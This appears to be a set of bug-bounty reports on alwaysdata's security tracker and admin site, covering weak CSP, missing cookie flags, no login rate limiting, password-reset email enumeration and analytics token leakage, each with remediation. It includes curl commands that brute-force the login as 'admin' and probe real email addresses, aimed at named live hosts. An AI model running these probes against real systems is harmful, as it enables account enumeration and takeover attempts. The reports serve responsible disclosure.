* Remove `'unsafe-inline'` from `script-src` and replace with a per-response nonce (`script-src 'self' 'nonce-XYZ'`); add the same nonce to every server-rendered `<script>` tag.
* Remove `'unsafe-eval'` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled JS (Prototype/scriptaculous).
* Ideally also tighten `style-src` away from `'unsafe-inline'` once template inline styles are migrated to a stylesheet.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Set-Cookie` on every authenticated response

## Description

The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata's Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly
# (no Secure, no SameSite)

# Compare admin.alwaysdata.com (correct):
curl -sI https://admin.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure
```

## Impact

* The session cookie will be transmitted in plaintext if the user is ever forced onto an HTTP origin (downgrade / hostile coffee-shop network / user typing the domain without https).
* Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth.
* On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.

## Remediation

In Flyspray's session configuration set both flags:

```
# php.ini or .htaccess
session.cookie_secure = 1
session.cookie_samesite = "Lax"
session.cookie_httponly = 1
```

Final header should look like:

```
Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly; Secure; SameSite=Lax
```

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `POST https://security.alwaysdata.com/index.php?do=authenticate`

## Description

The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher's confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.

## Steps to Reproduce

```
# Five consecutive bad-password attempts against a known-existing username
for i in 1 2 3 4 5; do

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST 'https://security.alwaysdata.com/index.php?do=authenticate' \
  -d 'user_name=admin&password=wrong'

done
# → 303
# → 303
# → 303
# → 303
# → 303
```

No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program's "do not damage production" rule.) Combined with ALW-006 /  FS#329  (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.

## Impact

* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source.
* Compromise of an analyst account would expose every researcher's unredacted submission and PoC attachments — the most damaging possible outcome on this asset.
* Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.

## Remediation

* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s).
* Show a CAPTCHA after 5 failed attempts (per IP and per username).
* Lock the target account (or send an admin alert) after 10 failed attempts in a short window.
* Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse.
* Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.

Severity: MEDIUM

Target: admin.alwaysdata.com
Affected endpoint: `POST https://admin.alwaysdata.com/password/lost/`

## Description

The password-reset endpoint returns a different HTTP status (and different body) depending on whether the submitted email belongs to a real account, allowing unauthenticated enumeration of valid alwaysdata user emails.

## Steps to Reproduce

```
# Existing account — redirected to the success page
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

1. H 'Content-Type: application/x-www-form-urlencoded' \
2. -data 'email=cbay@alwaysdata.com'

# → HTTP/1.1 302 Found
# → Location: /password/sent/

# Non-existent account — form re-rendered with no redirect
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

1. H 'Content-Type: application/x-www-form-urlencoded' \
2. -data 'email=nonexistent9999@example.com'

# → HTTP/1.1 200 OK
# → (form HTML re-rendered, no redirect)
```

The 302→/password/sent/ vs 200 differential is observable from a single unauthenticated request and was not rate-limited during testing.

## Impact

* Confirms whether an arbitrary email address has an alwaysdata account.
* Enables targeted phishing and credential-stuffing campaigns against confirmed-real customer accounts.
* Combined with ALW-007 (no rate-limiting on the related Flyspray login) and ALW-006 /  FS#329  (Flyspray username enumeration), feeds a chain ending in account-takeover attempts.

## Remediation

* Always return the same response (302 → `/password/sent/` with a generic "if an account exists with that email, a reset link has been sent" page) regardless of whether the email matched.
* Rate-limit the endpoint per source IP and per email (e.g. 5 requests / hour / address).
* Add CAPTCHA after 3 failed attempts.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: HIGH

Target: admin.alwaysdata.com (registration flow → outbound to tracker.alwaysdata.com)

## Description

The original  FS#311  fix was supposed to strip the registration token from URLs sent to Matomo. The current implementation still forwards token-derived parameters (`user_id`, `expires`) in the analytics request, so the Matomo back-end (and anyone with read-access to the dashboard) can still correlate a token-holder to their account-creation event.

## Steps to Reproduce

1. Open browser devtools (Network tab) and visit https://admin.alwaysdata.com/account/create/ 2. Complete the registration flow up to the point where the confirmation token is shown in the URL.
3. Filter the Network panel by `tracker.alwaysdata.com`.
4. Inspect the outbound `/matomo.php` (or `/piwik.php`) tracking request — `url=` / `urlref=` / `action_name` still contain `user_id=` and `expires=` values bound to the registration token, even though the bare token string itself was redacted by the  FS#311  patch.

## Impact

* The mitigation for  FS#311  is incomplete — the parameters that uniquely identify the registration token are still observable to Matomo.
* Anyone with Matomo read-access can correlate a tracking event to a specific account-creation flow.
* Defeats the trust assumption that registration data does not leave alwaysdata's auth boundary.

## Remediation

Before calling `piwik.trackPageView()` on the registration page, normalise the URL passed to Matomo — strip the entire querystring/hash:

```js
piwik.setCustomUrl(window.location.origin + window.location.pathname);
piwik.setReferrerUrl('');
```

Verify with a manual reproduction that no `user_id`, `expires`, or other token-derived parameter reaches `tracker.alwaysdata.com`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
Related:  FS#311  (partial fix).